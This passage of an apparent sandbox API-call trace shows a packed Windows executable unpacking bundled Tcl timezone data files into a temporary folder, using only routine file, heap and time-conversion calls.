"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.711] GetFileType (hFile=0x10c) returned 0x1 [0042.711] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.711] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.711] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.711] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.711] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.711] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.711] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.711] CloseHandle (hObject=0x10c) returned 1 [0042.711] GetLastError () returned 0x0 [0042.711] SetLastError (dwErrCode=0x0) [0042.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.712] GetFileType (hFile=0x10c) returned 0x1 [0042.712] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.712] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.712] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.712] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.712] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.712] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.712] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.712] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.712] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.712] CloseHandle (hObject=0x10c) returned 1 [0042.712] GetLastError () returned 0x0 [0042.712] SetLastError (dwErrCode=0x0) [0042.712] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Simferopol") returned 74 [0042.712] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Simferopol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\simferopol"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.712] GetLastError () returned 0x2 [0042.712] SetLastError (dwErrCode=0x2) [0042.712] GetLastError () returned 0x2 [0042.712] SetLastError (dwErrCode=0x2) [0042.712] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Simferopol", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Simferopol", lpFilePart=0x0) returned 0x49 [0042.712] GetLastError () returned 0x2 [0042.712] SetLastError (dwErrCode=0x2) [0042.712] GetLastError () returned 0x2 [0042.712] SetLastError (dwErrCode=0x2) [0042.712] GetLastError () returned 0x2 [0042.712] SetLastError (dwErrCode=0x2) [0042.712] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Simferopol") returned 74 [0042.713] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Simferopol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\simferopol"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.713] GetFileType (hFile=0x10c) returned 0x1 [0042.713] htonl (hostlong=0x611c0000) returned 0x1c61 [0042.713] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.714] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.714] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc61, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc61, lpOverlapped=0x0) returned 1 [0042.714] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.714] CloseHandle (hObject=0x10c) returned 1 [0042.714] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.714] htonl (hostlong=0x30000000) returned 0x30 [0042.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.714] GetFileType (hFile=0x10c) returned 0x1 [0042.714] htonl (hostlong=0x5e895c00) returned 0x5c895e [0042.714] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61395e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.714] htonl (hostlong=0x8b000000) returned 0x8b [0042.714] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0042.715] htonl (hostlong=0x8b000000) returned 0x8b [0042.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.715] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.715] htonl (hostlong=0xb6000000) returned 0xb6 [0042.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x550600 [0042.715] htonl (hostlong=0x8b000000) returned 0x8b [0042.715] htonl (hostlong=0xb6000000) returned 0xb6 [0042.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.715] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.715] CloseHandle (hObject=0x10c) returned 1 [0042.715] GetLastError () returned 0x0 [0042.715] SetLastError (dwErrCode=0x0) [0042.715] GetLastError () returned 0x0 [0042.715] SetLastError (dwErrCode=0x0) [0042.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.715] GetFileType (hFile=0x10c) returned 0x1 [0042.715] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.715] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.715] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.715] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.715] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.715] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.715] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.715] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.715] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.716] CloseHandle (hObject=0x10c) returned 1 [0042.716] GetLastError () returned 0x0 [0042.716] SetLastError (dwErrCode=0x0) [0042.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.780] GetFileType (hFile=0x10c) returned 0x1 [0042.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.780] CloseHandle (hObject=0x10c) returned 1 [0042.780] GetLastError () returned 0x0 [0042.780] SetLastError (dwErrCode=0x0) [0042.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.780] GetFileType (hFile=0x10c) returned 0x1 [0042.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.781] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.781] CloseHandle (hObject=0x10c) returned 1 [0042.781] GetLastError () returned 0x0 [0042.781] SetLastError (dwErrCode=0x0) [0042.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Skopje") returned 70 [0042.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Skopje" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\skopje"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.781] GetLastError () returned 0x2 [0042.781] SetLastError (dwErrCode=0x2) [0042.781] GetLastError () returned 0x2 [0042.781] SetLastError (dwErrCode=0x2) [0042.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Skopje", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Skopje", lpFilePart=0x0) returned 0x45 [0042.781] GetLastError () returned 0x2 [0042.781] SetLastError (dwErrCode=0x2) [0042.781] GetLastError () returned 0x2 [0042.781] SetLastError (dwErrCode=0x2) [0042.781] GetLastError () returned 0x2 [0042.781] SetLastError (dwErrCode=0x2) [0042.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Skopje") returned 70 [0042.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Skopje" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\skopje"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.782] GetFileType (hFile=0x10c) returned 0x1 [0042.782] htonl (hostlong=0xb6000000) returned 0xb6 [0042.782] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.782] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb6, lpOverlapped=0x0) returned 1 [0042.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.783] CloseHandle (hObject=0x10c) returned 1 [0042.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.783] htonl (hostlong=0x30000000) returned 0x30 [0042.783] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.783] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.783] GetFileType (hFile=0x10c) returned 0x1 [0042.784] htonl (hostlong=0xe9895c00) returned 0x5c89e9 [0042.784] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6139e9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.784] htonl (hostlong=0x8060000) returned 0x608 [0042.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x608) returned 0x550600 [0042.784] htonl (hostlong=0x8060000) returned 0x608 [0042.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.784] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.784] htonl (hostlong=0x11d0000) returned 0x1d01 [0042.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d01) returned 0x561090 [0042.784] htonl (hostlong=0x8060000) returned 0x608 [0042.784] htonl (hostlong=0x11d0000) returned 0x1d01 [0042.784] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562da0 [0042.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562da0 | out: hHeap=0x530000) returned 1 [0042.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.784] CloseHandle (hObject=0x10c) returned 1 [0042.784] GetLastError () returned 0x0 [0042.784] SetLastError (dwErrCode=0x0) [0042.784] GetLastError () returned 0x0 [0042.784] SetLastError (dwErrCode=0x0) [0042.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.784] GetFileType (hFile=0x10c) returned 0x1 [0042.784] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.784] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.785] CloseHandle (hObject=0x10c) returned 1 [0042.785] GetLastError () returned 0x0 [0042.785] SetLastError (dwErrCode=0x0) [0042.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.785] GetFileType (hFile=0x10c) returned 0x1 [0042.785] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 